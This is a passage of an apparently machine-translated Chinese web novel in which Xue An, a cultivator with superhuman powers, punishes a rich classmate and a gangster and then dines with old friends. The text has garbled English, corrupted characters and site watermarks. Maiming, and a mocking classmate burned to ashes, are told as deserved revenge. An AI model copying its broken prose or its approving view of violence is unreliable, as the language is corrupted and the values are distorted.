    The Kun turned his face to look at Xue An, startled first, then smiled disdainfully.


    "Where did I come from? It turned out to be just a waste!"


    This brother Kun is the one who laughed at Xue Antu buns at the gate of Longhuangtai.


    At this moment, these classmates of Xue An also recognized who this Kun was and couldn''t help whispering.


    "Kun Murder! Actually it was Kun Murder!"


    "I heard that this person is extremely hot, and he is also the subordinate of the boss of Dragon Emperor''s Terrace Du Fandu!"


    "It seems that Hong Shao has a good relationship with this Lu Kun! This is a lot of fun!"


    Lu Kun patted Hong Ming on the shoulder, "Don''t worry, I''ll take care of this, but these two women... are you classmates?"


    Hong Ming trembled all over, then nodded.


    Lu Kun smiled happily, "In this case, there will be no outsiders. I would like to invite the two younger sisters to have a meal later, do you think it will be fine?


    Although it was a questioning tone, Hong Ming knew that this Lu Kun was a subordinate of the Nancheng boss. He has always been arrogant and domineering. What he said must be done.


    Hong Ming hesitated for a moment, and then gritted his teeth. Anyway, it is impossible to be with Fan Mengxue, and this Lu Kun can''t afford to offend him, and it''s good to have a personal relationship with him, so he nodded.


    Lu Kun turned his head and said with a wicked smile: "Boy, now I''ll give you two ways, one is to kneel down and apologize to Shao Hong. If Shao Hong is satisfied, I will let you go. The other way...tonight Just throw you into the river to feed the sharks."


    But a milky voice came, "Uncle Chicken Coop, UU Reading There are no sharks in the river, sharks are in the sea!"


    The speaker is Xue Xiang,


    Lukun''s expression suddenly became very exciting.


    Xue An smiled slightly, "Do you like your hair very much?"


    The answer to the question was not what was asked, which made Lu Kun a little confused.


    "what?"


    "I mean, do you like your hair very much? Why do you want to dye it colorful?"


    Lu Kun flicked his bangs proudly, and said proudly: "Of course! Lao Tzu''s hair is very precious! I..."


    Xue An nodded, "That''s good!"


    After that, Xue An suddenly kicked his left foot on the ground, and the whole person shot out like a cannonball.


    There were a few younger brothers in front of Lu Kun, Xue An rushed forward, **** left and right, and instantly smoothed these younger brothers, and then pinched Lu Kun, who was still in a bewildered state.


    "You...what are you going to do? I...but Brother Fan''s person...you..."


    Xue An''s hand slowly lifted upwards, Lu Kun''s feet lifted off the ground, and he was pinched and rolled his eyes.


    Until Lu Kun''s face turned green, Xue An suddenly let go, Lu Kun thumped and fell to the ground, before he could react.


    Xue An whispered: "Cover their eyes."


    Fan Mengxue and Tang Xuan''er understood, and immediately covered the eyes of Xue Xiang and Xue Nian with their hands, and blocked their ears.


    Then Xue An grabbed Lu Kun''s hair and applied a little force.


    thorn it.


    A large lock of hair was torn off.


    Lu Kun screamed, Xue An was afraid of quarreling his daughter, put his right hand out, and took off Lu Kun''s chin.


    Then Xue An seemed to be pulling out leeks, handful of handfuls of Lu Kun''s hair was squeezed down.

 Chapter 17： Kill it!

    Hong Ming all the dead souls watching from the side.


    Because this scene is too bloody.


    Every handful of hair is stiff from the scalp.


    And every time he swallowed, Lu Kun would tremble in pain and make a whining sound in his mouth.


    But Xue An''s complexion was calm and he went through all this, as if only a handful of weeds had fallen down.


    After he was finally finished, Xue An clapped his hands and nodded in satisfaction.


    "This is much pleasing to the eye!"


    At this time, everyone subconsciously took a step back.


    Especially Hong Ming, his legs are trembling, Xue An''s eyes come over, he can''t help but step back.


    "Don''t pass... Don''t come here, you''re done, this Lu Kun is from Brother Fan, and Brother Fan won''t let you go!" Thinking of Du Fan, Hong Ming couldn''t help but feel more emboldened.


    Such a big thing has happened, it''s almost time to come! Hong Ming thought to himself.


    And just at this moment, a mess of footsteps came from across the corridor, and then a man angrily said: "Who is it? Who dares to move my Du Fan?"


    Following the sound of words, a burly man with evil eyes led a group of people rushing over.


    This Dragon Emperor Terrace is managed by Du Fan.


    Nothing happens normally, after all, his reputation for Du Fan lies here, even if there are a few drunk people, Lu Kun will deal with it.


    So Du Fan''s daily work is eating, drinking and having fun.


    can be today.


    He was drinking with someone. Someone called him out and told him that something went wrong. Lu Kun was beaten!


    Of course, Du Fan was furious, and immediately led the security guards toward him.


    And when Hong Ming saw Du Fan coming, his eyes lit up.


    This Du Fan is a Nancheng elder brother-level figure, even if his father saw him, he had to nod and bow his waist.


    So Hong Ming was very excited, and said to Xue An: "Xue An, Brother Fan is here, now I see how arrogant you are!"


    When Lu Kun saw Du Fan, tears flowed out and he crawled over.


    Du Fan was taken aback at first, because Lu Kun looked so miserable now, his hair was gone, and the blood stained his entire head, like a duck head that had been plucked.


    "Fan...Brother Fan, give me revenge! This kid, slashed all my hair!" Lu Kun cried and said after someone gave Lu Kunan to his feet.


    Du Fan couldn''t help getting angry, but Lu Kun was the little brother who had followed him for many years, and being so cleaned up, Du Fan felt that there was no brilliance on his face.


    "Don''t worry, I must peel off the skin of this person and vent your anger!" Du Fan said murderously.


    Lu Kun cried and nodded.


    Du Fan raised his head at this time and said coldly: "Who did it! Stand up by yourself!"


    The audience is silent.


    Du Fan sneered: "What? Do you dare not recognize it?"


    At this time, Hong Ming said excitedly: "Brother Fan, this kid did it! We all saw it!"


    Du Fan turned his eyes, and then he was startled.


    Xue An carried his hands on his back and looked at Du Fan indifferently, "Are you Du Fan?"


    Du Fan felt a chill on his back, because the aura on this man was so amazing.


    This kind of aura, he has only seen it in one person.


    And it''s not as strong as this man.


    Du Fan just nodded, "I am Du Fan!"


    Xue An rushed over, punching his head and covering his face.


    However, Du Fan reacted very quickly, stepped back and barely avoided the blow.


    fist brushed Du Fan''s nose, then hit the wall.


    With a bang, the entire wall was blown down.


    Amidst the smoke and dust, Du Fan was so scared that his souls burst out, shouting, "Misunderstanding, it''s all misunderstanding!"


    But Xue An was not prepared to give him a chance to explain. During this half a day, the various people and horses made Xue An a little tired.


    Whoever he is! Since he is the boss! That''s it!


    The so-called control of life and death is like this.


    But at this moment, a burly man rushed over, and Du Fan saw him as if he had seen a savior.


    "Brother Black, help me!"


    When the big man saw Xue An, his expression changed drastically, but he greeted him in a hurry.


    At this time, Xue An punched out again.


    The big man also arrived just in time, and then he drew a horse step. The energy of his whole body was concentrated on the right fist, and he greeted Xue An with his fist.


    Xue An''s mouth was filled with a smile.


    boom.


    A muffled sound made everyone present feel that their heart stopped.


    Then the big man stepped back more than ten steps, and vomited out a mouthful of blood.


    Du Fan, who originally saw the big man and thought he was winning, was really scared this time.


    Even this big man is not the opponent of this man?


    And the big man wiped the blood from the corner of his mouth and smiled bitterly: "Mr. Xue, thank you for your mercy!"


    Only he knows that Xue An just spared his affection, otherwise he would never be standing here.


    Xue An retracted his fist and said lightly: "Why are you here?"


    This big man is exactly Qin Yuan''s bodyguard, old black!


    Old Hei smiled bitterly, "This Dragon Emperor is also an industry of Longtai Group."


    Xue An nodded, "Is Qin Yuan not here?"


    Old Hei shook his head, "The old man is now busy with the company."


    Du Fan was sweating all over his body.


    Who is this person?


    Why is he called Mr. Xue by the black brother?


    And even calling the old man''s name directly?


    Although Du Fan is famous in the market, UU Reading is actually just a dog raised by Longtai Group.


    Don''t talk about Qin Yuan, he is one of Qin Yuan''s bodyguards, Du Fan has to carefully compliment him.


    Because he knew that his so-called power was a joke in front of an existence like the Qin Family.


    As for Hong Ming, his face was pale at the moment, and he couldn''t even speak.


    Of course he knows Lao Hei.


    also knows what status this person is in Longtai Group.


    Such a person is very respectful to Xue An.


    It can be seen who he is!


    "But the eldest lady said just now that she would come over, now it should be coming soon too!" Old Hei said.


    As soon as the voice fell, Qin Yu walked in with a grim expression.


    Du Fan shuddered all over, and quickly bowed his head in salute, "Miss!"


    Qin Yu didn''t even look at him, and went straight to Xue An.


    "Mr. Xue."


    This sentence of Mr. Xue made Hong Ming completely desperate.


    He also recognized Qin Yu, but he saw it from a distance when attending a high-end party with his father.


    Ke just saw it, and didn''t even say anything.


    To him, Qin Yu is like a star in the sky, which is beyond sight.


    He finally understood that everything he was proud of was actually not worth mentioning in front of Xue An.


    No wonder he was careless from the beginning, it turned out...people didn''t care about this at all!


    Xue An nodded.


    But Qin Yu frowned and looked around, and asked in a deep voice, "What''s the matter?"


    Du Fan was sweating profusely and hesitated to explain.


    As for Lu Kun, he was scared and passed out just now.

 Chapter 18： May I transfer money or cash?

    "Big...Miss, I don''t know. I heard that someone was fighting, so I hurried over. As a result, this Mr. Xue collapsed a wall without any explanation!" Du Fan said.


    Qin Yu''s face sank, "Don''t you know that Mr. Xue is a VIP of our group?"


    "Yes, yes! I damn, I damn! I don''t know!" Du Fan nodded and said with a bow.


    "Take this guy away and don''t let him appear on Dragon Emperor Terrace again!"


    "Understand!" Du Fan hurriedly ordered people to drag Lu Kun away like a dead dog.


    At this time, Hong Ming and Song Jing saw that the situation was not good, and they wanted to sneak away.


    Xue An said lightly: "Hold on!"


    Hong Ming stiffened, standing still not daring to move.


    "Just leave like this?"


    Hong Ming��s smile is uglier than crying, ��Xue An, no, no, no Xue Shao, I know it��s wrong! I��ll go back and raise money for you now, right?��


    Xue An shook his head, "Do you think 30 million can solve the problem now?"


    Hong Ming cried, and thumped and knelt on the ground, "Xue Shao, I lost, I admit it, please let me go!"


    Qin Yu is a little unclear, so, "What''s the matter?"


    Xue An smiled, "It''s nothing, it''s just that he broke a gift from me, and he paid the price!"


    At this time, Hong Ming mustered the last bit of courage and said to Qin Yu: "Miss Qin, this is Hong Ming. My father and I met you at the dinner party!"


    "Hong Ming? Are you from the Hong family?" Qin Yu frowned, as if a little impressed.


    "Yes! Miss Qin, please help me beg for mercy. Others said that Shao Xue bought the ring from the street stall, so I threw it away! I really don''t know how expensive it is!"


    Hong Ming cried with his nose and tears.


    this moment.


    Xue An��s classmates were all shocked.


    Who would have thought that things would become like this.


    At the beginning, Xue An was low-key and silent, making everyone think that he had admitted.


    But in a blink of an eye, Hong Ming, who was originally glamorous, knelt on the ground, crying for mercy.


    The reversal of this situation is coming too fast.


    At least Song Jing is still stunned.


    But she also saw clearly that Xue An actually had a chat with Longtai Group��s eldest Qin Yu, and it seemed that Qin Yu still respected Xue An very much.


    Thinking of her cynicism towards Xue An, Song Jing felt cold on the back of her neck.


    also felt infinite regret.


    If I had a good relationship with Xue An like Tang Xuan''er, wouldn''t I be able to catch up with the Longtai Group now?


    Qin Yu didn''t know what it was, and couldn''t help asking Xue An, "What did you fall? Can I see it?"


    Xue An took out the ring and handed it to Qin Yu.


    After Qin Yu took it over, he was taken aback, and then he took it to the tip of his eye very carefully to examine it.


    Hong Ming stopped crying, looking forward to Qin Yu''s "justice" for him.


    But the more Qin Yu looked, the more complicated his expression became.


    After a while, Qin Yu handed the ring back to Xue An with some regret.


    "This is a priceless treasure. It''s a pity to fall like this!"


    Hong Ming is petrified.


    how?


    Could it be said that the dignified Miss Longtai Group also partnered with herself?


    Qin Yu looked at Hong Ming and sneered, "Do you think I''m lying to you? To tell you the truth, I have seen a lot of jewels since I was a child, and many of them are rare treasures, but I have never seen them like this. It''s as clear and rare as a ring, you actually said it was bought from a street stall?"


    Then Qin Yu looked at Xue An, "Mr. Xue, if this ring is auctioned, it will sell for at least 50 million!"


    Hong Ming made a gurgling sound in his throat, as if he was about to die.


    Fifty million!


    This number made Hong Ming stare at the gold star.


    Xue An sighed at this time, "It''s a classmate, so it''s not good to do too much, let alone I beat someone!"


    ''S words rekindled hope for Hong Ming.


    Xue An turned around and asked Tang Xuan''er, "Xuan''er, you work in the hospital, how much does it cost to treat his trauma?"


    Tang Xuan''er hesitated for a moment, "If you just bandage it, it''s less than 100 yuan!"


    Xue An nodded, "Forget it, it''s one hundred dollars! So you have to pay me 49,999,900 yuan!"


    Xue An smiled brightly, "Hong Ming, are you transferring money? Or cash?"


    Hong Ming rolled his eyes and fainted.


    Xue An shook his head, "Maybe I think the discount I gave him is too big, so I fainted excitedly! But the account cannot be wrong, Miss Qin, do you know the Hong family?"


    Qin Yu nodded, "Their Hong family has always wanted to cooperate with us!"


    "Well, I''ll beg you for collecting money!"


    Of course Qin Yu has no objection.


    It''s just a Hong family, Qin Yu doesn''t care at all.


    The others have all gone. When they left, their expressions were a bit complicated.


    Who would have thought that Xue An, who was low-key and ordinary when he was in school, would suddenly be so powerful.


    Even big people like Du Fan nodded and bowed.


    And even Miss Qin''s family respects him very much.


    At this moment, many people understand that they and Xue An, UU reading www.uukANAnshu. Com is no longer a level person.


    Song Jing is the one with the most complicated mood.


    was shocked and terrified, mixed with infinite regret.


    But after leaving the Dragon Emperor Terrace, she spat on the ground with a bit of resentment.


    What kind of garlic!


    What if you are good?


    In the end, why can��t you take the old lady?


    Humph!


    Song Jing thought to herself, turning a corner, preparing to take a shortcut home.


    At this moment, she felt itching in her feet, and when she looked down, a white flame rose from the bottom of her feet.


    She was terrified, and just about to shout, the flame instantly swallowed her.


    In the blink of an eye, Song Jing was burned to ashes.


    At the last moment of death, Song Jing understood.


    Why doesn''t Xue An pay attention to himself.


    Would you be angry with a dying person?


    "Mr. Xue, I started investigating after I went back, and I found out the real culprit!" Qin Yu said to Xue An at this time.


    "Oh? Does that have anything to do with me?" Xue An was not interested in these.


    Qin Yu gritted his teeth, this guy, although he is very capable, but sometimes he can��t get in!


    "This person is my cousin and the current manager of Longtai Group." When it comes to this, Qin Yu is angry.


    Xue An yawned boringly. He has seen too many scenes of these giants fighting over the past three thousand years.


    "But we can''t show evidence right now, but we have news that in three days, this Qin Tian will participate in an auction. At that time, the black hand behind the scenes is likely to show up."


    "So what?" Xue An said lightly.


    "So I hope Mr. Xue can participate in that time."

 Chapter 19： Are you...really Xiaoan?

    Qin Yu looked at Xue An nervously.


    Xue An nodded, "Yes!"


    Qin Yu was overjoyed, "Well, after three days, I will come to pick you up."


    The reason why Xue An agreed is that the Qin family is pretty good. Anyway, there is nothing wrong now, so it''s a good favor.


    "But is there anything surprising about this auction you are talking about?" Xue An asked.


    Qin Yu shook his head, "Every year our Beijiang Merchants Association organizes some auctions from time to time, and the proceeds will also be donated. This is the same, so there is nothing surprising. Mr. Xue meant... ."


    "The person who started with your grandfather, although the cultivation level is shallow, is a cultivator anyway, since he is going to participate in this auction, there must be something attracting him."


    Qin Yu frowned, "Then I''ll go back and check it out!"


    "No need, it will be clear at that time!" Xue An said lightly.


    Qin Yu looked at Xue An who didn''t take this seriously, but was a little worried.


    This Xue An��s medical skills, Qin Yu, had seen it with his own eyes, without any doubt.


    But the opponent is likely to be a person holding a secret technique. If Xue An is defeated by that time, the consequences will be...


    In fact, what Qin Yu didn''t tell Xue An was that the current Longtai Group has become Qin Tian''s industry.


    Many people already only know that there is Qin Tian, ??but do not know that there is Qin Yuan.


    Everything comes from this year and more. Qin Yuan has neglected management and rushed for his illness all day long. When Xue An is finally cured, he finds that Longtai Group has lost control.


    So this time, if Qin Tian cannot be defeated, then both Qin Yuan and his grandson will be in a great crisis.


    Qin Yu has always been worried about this.


    So after thanking him, he left in a hurry.


    Xue An looked back at his two daughters, "I miss you, are you full?"


    Xue Nian shook his head first, "No, Baba, I think the food here is so unpalatable!"


    Xue Xiang also said, "Baba, I''m not full either."


    "Well, I''ll take you to eat somewhere else, OK?"


    "Okay, okay!" Xue Nian nodded like a chicken pecking rice.


    When it comes to eating, the little girl''s eyes shine.


    Xue An looked at Fan Mengxue again.


    Fan Mengxue has been staring at Xue An since just now, especially when Qin Yu appeared, it made her feel a strong sense of crisis.


    This girl looks outstanding, the key is that her family is far better than herself.


    You must know that Longtai Group is a well-known leading enterprise in the province, and it pays hundreds of billions of taxes every year.


    This can''t help but make Fan Mengxue feel deeply inferior.


    I thought that my hard work over the past four years could bring myself closer to Xue An, but found that the distance was farther.


    Xue An smiled faintly, "I''m sorry, it seems to mess up your birthday party!"


    Fan Mengxue shook his head, "If it weren''t for coming back to see you, I wouldn''t have attended this so-called birthday party!"


    "Go! I''ll take you to a big meal!"


    This is a small restaurant in a residential area.


    Although the facade is narrow, it is very clean and tidy.


    It was already past nine o''clock at night, and there were not many diners.


    Old Xie is going to pack the tableware, and the door will be closed in a while.


    At this moment, the door was pushed open, and then a group of people filed in.


    Walking in the front is a man with a smiling mouth.


    This man is tall and straight, and under his sword eyebrows are a pair of eyes that are shining like stars, which makes people feel an urge to surrender.


    Old Xie was taken aback, faintly feeling that this man was familiar.


    Following the man, there are two little girls who are carved and jade.


    This little girl was born extremely cute, the key is exactly the same.


    At this time, the people eating in the shop also noticed this picture.


    Just as old Xie wanted to talk, two women walked in behind.


    The appearance of these two women calmed the otherwise noisy restaurant.


    One of the two women wore a long skirt, with an elegant face and a temperament that looked like Konggu Youlan.


    Although the other is wearing a mask, but from the picturesque eyebrows and slim figure, one can imagine that he is definitely a big beauty.


    Xie looked a little silly.


    At this time, Xue An smiled slightly, "Uncle Xie, don''t you recognize me?"


    Old Xie shook his whole body, this voice... so familiar!


    "You...you are..."


    "This is Xue An!"


    Xue An!


    Lao Xie was a little bit unbelievable at first, but after looking carefully for a while, he shouted in surprise, "Xiao An, is it really you?"


    Xue An nodded.


    Old Xie yelled happily: "My wife, come out and see, who is back!"


    Lao Xie��s lover, Fat Aunt, is also in her 50s this year. She is busy in the kitchen, and she walked out when she heard Lao Xie��s shout.


    "Who, yelling!"


    "Xiao An, it is Xiao An who is back!" Old Xie said happily.


    The fat aunt looked at Xue An, first for a moment, and then she couldn''t believe it and said, "Are you...really Xiao An?"


    Xue An looked at the couple, a warm current surged in UU reading .


    When I and Anyan were in the most difficult time, I almost couldn''t even eat food every day.


    Xue An came to the nearby construction site to do odd jobs. When he had dinner at noon, he couldn''t even pay for the meal.


    It was the couple who opened a small restaurant. They found Xue An��s embarrassment and then offered him selfless help.


    Although the help was only a few meals, it made Xue An remember his heart.


    Later Xue An came more, and the relationship with the couple got better and better.


    After knowing that Xue An still had a pregnant woman who was expecting to give birth, the fat aunt felt distressed for him, so she often packed the eggs from her hometown in the country, and asked Xue An to take it back to help An Yan.


    Xue An remembers all these little things.


    Xue An nodded at Fat Auntie, then smiled and said, "Aunt Fatty, I am Xiao An!"


    Aunt Fatty��s tears came down, and she stepped forward and grabbed Xue An��s shoulder, ��Xiao An, where have you been in the past four years! Your Uncle Xie and I have been looking for you for a long time, and many people say that you are no longer there. But I think, you are such a good child, God will definitely bless you!"


    (God: Fat aunty, don''t you tease, I still bless him? It''s good if he doesn''t beat me! People are gods!)


    Xue An has practiced for three thousand years, with a Taoist heart as solid as a rock, but at this time, he couldn''t help but feel a little moved.


    "Auntie Fatty, am I back here?"


    "Just come back, just come back! Dead old man, why are you standing there giggling? Hurry up and clear the table! Then close the door, Xiao An is back, let''s celebrate!"


    "Good! Good!" Old Xie promised hurriedly.


    Xue An couldn''t help but smile. It seemed to be the same. Old Xie had no place in the house, and everything was up to the fat aunt.

 Chapter 20： Cozy dinner

    At this time, Fat Aunt noticed the two little girls following Xue An. These two charming little girls suddenly made Fat Aunt like her.


    "What a beautiful girl, Xiao An, this is yours..."


    "My two daughters!" Xue An smiled.


    "It''s so beautiful! So cute!" There were creases on the fat aunt''s face.


    Xue Xiang and Xue Nian also yelled sweetly: "Grandma!"


    The name ���� made tears appear in the corners of Fat Aunt''s eyes. She quickly opened the drawer, grabbed a lot of dried fruits and handed them to Xue Xiang and Xue Nian.


    "You two, who is the sister and who is the sister?"


    This question seems to be asked after everyone sees it.


    Xue Xiang smiled and said, "The one standing next to my sister is my sister!"


    Xue Nian also said: "The one standing next to my sister is my sister!"


    Fat aunty laughed and tears came out, "What a two clever ghosts!"


    At this time, the few remaining tables of diners were also kindly invited away by old Xie, and then Xie went into the kitchen and started cooking hotly.


    And this time Fat Aunt also noticed Tang Xuan''er and Fan Mengxue.


    The appearance of these two girls made Aunt Fatty couldn''t help but move.


    Then the fat aunt pulled Xue An into the distance, and whispered: "Xiao An, which of these two is your wife?"


    Xue An was a little bit dumbfounded, "No one!"


    "What? What happened to you and your wife Anyan?" Aunt Fatty asked in surprise.


    Xue An sighed slightly, "Auntie Fatty, An Yan is fine now, but there are some things, so I haven''t seen them yet, these two are my friends!"


    Aunt Fatty is a little dubious.


    At this time, Fan Mengxue saw that there were no outsiders in the hotel, so he took off his mask.


    Fat auntie''s eyes went round instantly.


    "This...this is not..."


    Fan Mengxue smiled generously, "Auntie, I am Mengxue!"


    Fat aunt is going to be stunned.


    "Are you really that big star Fan Mengxue on TV?"


    Fan Mengxue smiled and nodded.


    Fat aunt is a little speechless.


    When she first saw Xue An, she felt that this young man was not in the pool.


    Unexpectedly, after four years, Xue An not only came back, but also brought two beautiful girls.


    One of them is even a big star that can be seen on TV all day long.


    At this time, Fan Mengxue and Tang Xuan''er rolled up their sleeves, **** their hair, and went into the kitchen to help.


    Then I heard a clang in the kitchen.


    Lao Xie, who was concentrating on cooking, saw Fan Mengxue and Tang Xuan''er walk in. He felt nervous and threw the cooking spoon on the ground.


    "Uncle Xie, let me come!" Fan Mengxue smiled.


    And Tang Xuan''er started washing and cutting vegetables quickly.


    Lao Xie was born into the kitchen.


    After waiting outside, Lao Xie still looked dazed.


    It wasn''t until Aunt Fatty knocked him on the head that she hated iron and steel, that Lao Xie recovered.


    "I''m dumbfounded when I see a pretty girl?"


    "No, no, how do I feel that the girl just now looks so familiar?"


    "Can you not be familiar? Isn''t that your favorite star Fan Mengxue?"


    Old Xie was shocked, "Really? I thought it just looked alike!"


    "What do you think? Don''t look at who our Xiaoan is!" said the fat aunt proudly.


    The food was ready quickly, and the table was full.


    The appearance and fragrance alone are mouth watering.


    Lao Xie took a bite and gave a thumbs up.


    "Good craftsmanship!"


    Fan Mengxue smiled slightly.


    She has been living alone since she was a child, and she has already practiced a good cooking skill.


    After ���� became a celebrity, she often consulted the famous chefs. Now her cooking skills are beyond the reach of the chefs in general hotels.


    Tang Xuaner cut a carrot out of two little rabbits, and then gave them to Xue Xiang and Xue Nian.


    Looking at the lively little rabbit, Old Xie couldn''t help but sigh, "Good knifeman!"


    Tang Xuan''er blushed and lowered her head.


    Her knife skills are all because she likes all kinds of gadgets, and then she figured it out by herself.


    Especially after Anyan left, in order to take care of the diet and daily life of the two little girls, she often made small things by herself and sold them.


    is actually very popular.


    Lao Xie also gave up and took out a bottle of old wine that had been kept for many years.


    "Come on, Xiao An, let''s not get drunk or go home today!"


    Aunt Fatty glared at Lao Xie, "I know to drink all day long. You got Xiao An drunk. There are several little girls, who will send it back?"


    Lao Xie was very embarrassed by the fat aunt.


    Xue An smiled, "Auntie Fat, it''s okay, I''ll accompany Uncle Xie to drink a little bit, I can''t miss anything!"


    Xue An speaks better than Lao Xie, and the fat aunt nodded, "It''s not me who cares about you, Xie Uncle, his body is worse than every day, and he always drinks!"


    Xue An''s heart moved, "Uncle Xie, give me your hand!"


    "What''s wrong?" Old Xie stretched out his hand.


    Xue An put his hand on the vein gate, and a trace of spiritual essence penetrated into it.


    After a while, he released his hand, "Fat Auntie, Uncle Xie is fine. After so many years of work, my body is so badly depleted. When I look back, I will get Uncle Xie and you some medicine to ensure that I can live to a hundred!"


    Old Xie Hehe Zhile, "Xiao''an, do you still see a doctor?"


    "It''s okay, it can be simple!"


    Xue An made up his mind, UU read www.uukanshu. Com back to get some medicinal materials, then refine some Pei Yuan Dan, and then give it to Aunt Fatty, Uncle Xie, and Xuan''er.


    Although you can''t live forever, you can still live to more than 200 years old!


    Everyone was seated, Xue An felt a little strange at this time, and couldn''t help asking: "Aunt Fatty, where is Jingjing? Haven''t you come back yet?"


    Mentioned this name, a sad look appeared on Fat Auntie''s face.


    Lao Xie even sighed with anger, "Don''t mention your unbelievable girl!"


    "what happened?"


    "Since she went to high school, Jingjing has changed. She dressed up all day with a demon-like look, and she also played with a group of inconsistent little boys. For this reason, you Xie Uncle beat her several times. It''s useless." Aunt Fatty said with a sad look.


    "Okay, when you''re happy, don''t mention her." Old Xie interrupted the topic with a calm face.


    Xie Jingjing is the daughter of Lao Xie. Because she is a girl in old age, Lao Xie is very fond of this daughter.


    Xue An still remembers that when he came to the hotel by himself, Xie Jingjing, who had just entered junior high school, pestered herself all day.


    At that time, Xie Jingjing kept the student head of the clear noodle soup, smiled with a pair of crescent eyes, very cute.


    And Xie Jingjing was often stupid Xue An said at the time: "Brother Xiaoang, when I grow up I must find a boy like you!"


    Although these memories have gone through three thousand years, Xue An has never forgotten them.


    "Uncle Xie, come! Have a drink!" Xue An took the initiative to take the cup, and first offered a glass to Uncle Xie.


    Uncle Xie drank it, the sadness on his face disappeared slightly.


    At that moment, the rolling shutter door that had been pulled down was pushed up, and then a girl wearing tight shorts, ponytails and flaming red lips walked in.

 Chapter 21： Problem girl

    "Yeah, eat!" The girl dropped the schoolbag she was carrying on the ground and said lightly.


    When Lao Xie saw her, he stopped getting angry.


    "I came back so late, where did you go?"


    This girl is the daughter of Lao Xie, Xie Jingjing.


    She said disapprovingly: "I didn''t go there. I had a car ride with a few friends."


    Lao Xie was irritated by Xie Jingjing''s attitude, and wanted to have an attack.


    still fat aunt cared for her daughter, and quickly said: "Jingjing, who do you see is back?"


    "Love who and who!" Xie Jingjing said casually, and was about to go to the inner room.


    At this time, Xue An sighed and said softly: "Jingjing!"


    Xie Jingjing, who hadn''t cared at all, was taken aback when she heard the voice, and then she looked at Xue An, who was sitting there with a small smile on her face, tears in her eyes bursting into her eyes.


    "Little...Little Ang?" Xie Jingjing trembled.


    ''S tone is still unbelievable.


    Xue An smiled and nodded, "It''s me, I''m back!"


    Before Xue An finished speaking, Xie Jingjing rushed over, plunged into Xue An''s arms, and burst into tears.


    This time, the atmosphere became a little awkward.


    Fan Mengxue and Tang Xuan''er looked at each other, and then continued to eat food with their usual expressions.


    "Brother Xiao An, where have you been in the past four years? They all say you are dead, but I know you are not dead, because I often dream of you."


    Xue An felt the girl��s tears wet his chest and sighed in his heart, then patted Xie Jingjing��s head.


    "Okay, you are such a big girl, are you still crying?"


    Xie Jingjing raised her head, the makeup on her crying face was spent.


    Xue An looked at her funny look and couldn''t help but smile.


    Xie Jingjing noticed her embarrassment and rushed into the back room with her face covered.


    Xue An looked at Fat Aunt and Old Xie, and couldn''t help laughing: "Jingjing is so big."


    "Who said no! This time you are back, but you have to persuade her, she listens to you the most." said the fat aunt.


    Old Xie was very happy, took the wine glass, and had another drink with Xue An.


    At this time, Xie Jingjing, who had cleaned her face, walked out.


    Xie Jingjing, who took off the messy makeup, looked delicate and lovely, and then moved to Xue An step by step.


    "I haven''t eaten yet, sit down and eat!" The fat aunt felt sorry for her daughter, and said quickly.


    Xie Jingjing saw Xue Xiang and Xue Nian, and her eyes were red, "Is this... Xiao An, your daughter?"


    Xue An nodded.


    "Then who are the two of them?" Xie Jingjing asked Tang Xuan''er and Fan Mengxue.


    "Jingjing, why are you so rude!" Aunt Fatty said angrily.


    Fan Mengxue smiled slightly, "Auntie, it''s okay, I like Jingjing."


    Xue An said: "This is my friend!"


    "Is it just a friend?" Xie Jingjing asked the bottom.


    Xue An laughed blankly, "Isn''t it a friend or something?"


    Xie Jingjing seemed to let out a sigh of relief, then changed to a smile and sat next to Xue An.


    "Two sisters, I will toast you first!" Xie Jingjing poured a glass of wine and said to Fan Mengxue and Tang Xuan''er.


    Old Xie sinked his face, "Making a fool!"


    Fan Mengxue waved his hand, and then filled a glass, "Okay! Sister accompany you for a drink!"


    After talking, Fan Mengxue drank it.


    Xie Jingjing gritted his teeth and drank the glass of wine.


    But after drinking, her face flushed.


    Fan Mengxue is nothing unusual.


    In fact, for Fan Mengxue, drinking another bottle of white wine did not have any pressure.


    There is no way, embarking on the road of acting, it means that she has to face many hidden evil meals.


    In order to protect herself, Fan Mengxue''s drinking capacity has been trained to a terrifying height.


    Xie Jingjing filled another cup and said to Tang Xuaner: "Sister, let''s have a drink too!"


    Tang Xuan''er hesitated a little. At this time, Xue An picked up the cup, "Why? I haven''t seen you in four years, your drink volume is not small!


    Xie Jingjing lowered her head.


    Xue An put on an elder brother, "Look at how you look like a student? You still drink? Do you think you can be unscrupulous without me?"


    Xie Jingjing''s aggrieved tears fell down.


    Xue An''s tone slowed down, "Since you want to drink, I''ll have a drink with you!"


    Talking about Xue An and drank it.


    Xie Jingjing gritted his teeth and dries again.


    Her eyes were blurred this time.


    Xue An put down his wine glass, "This glass of wine is an end. Starting tomorrow, I want to see an honest Xie Jingjing, understand?"


    Xie Jingjing looked at Xue An, nodded, then fell drunk on the table.


    Fat aunt hurried forward, Xue An waved his hand, "It''s okay, let her sleep!"


    Then put his hands on Xie Jingjing''s shoulders, with true energy, helping Xie Jingjing get rid of her drunkenness.


    what.


    Xue An said lightly, this Xie Jingjing is actually a rare pure Yin body.


    This physique is unique, and it is most suitable for practicing pure law.


    But it also attracts many evil covets.


    It''s just that Xie Jingjing''s body hasn''t fully grown, so it hasn''t been revealed yet.


    And if you break through the body of pure Yin will be destroyed.


    It seemed that even though Xie Jingjing was rebellious, he didn''t do anything extraordinary.


    Xue An thought, feeling a little comforted.


    I ate this meal for a long time.


    Until the two little guys Xue Xiang and Xue Nian were sleepy, Xue An helped the drunk old Xie into the house.


    When he was leaving, Aunt Fatty grabbed Xue An''s hand and said sadly: "Xiao An, Aunt Fatty, I have always regarded you as a son. Don''t go missing anymore. Come and see us often! "


    Xue An smiled, "Auntie Fatty, don''t worry, I won''t leave this time!"


    Xue Xiang and Xue Nian were already asleep, Xue An simply held them in his arms with one hand.


    With two small heads resting on his shoulders, the slight snoring caused a trace of airflow, which made Xue An''s neck a little itchy, and made people''s hearts calm down.


    After leaving the hotel, Xue An asked Fan Mengxue, "Where are you staying? I''ll see you off!"


    Fan Mengxue lowered his head, "I... didn''t live in a hotel. I went to Longhuangtai as soon as I arrived in Beijiang!"


    "Uh...what about you, Xuan''er?"


    Tang Xuan''er whispered: "I live in the hospital dormitory, but now... I guess the door is locked!"


    "Why don''t you... stay with me for one night," Xue An said.


    "Yeah!" Fan Mengxue and Tang Xuan''er lowered their heads and responded together.


    Xie Jingjing in his sleep, a teardrop suddenly appeared from the corner of her eyes, and then she whispered: "Brother Xiaoan, don''t leave me! When I grow up... I want to marry you!"


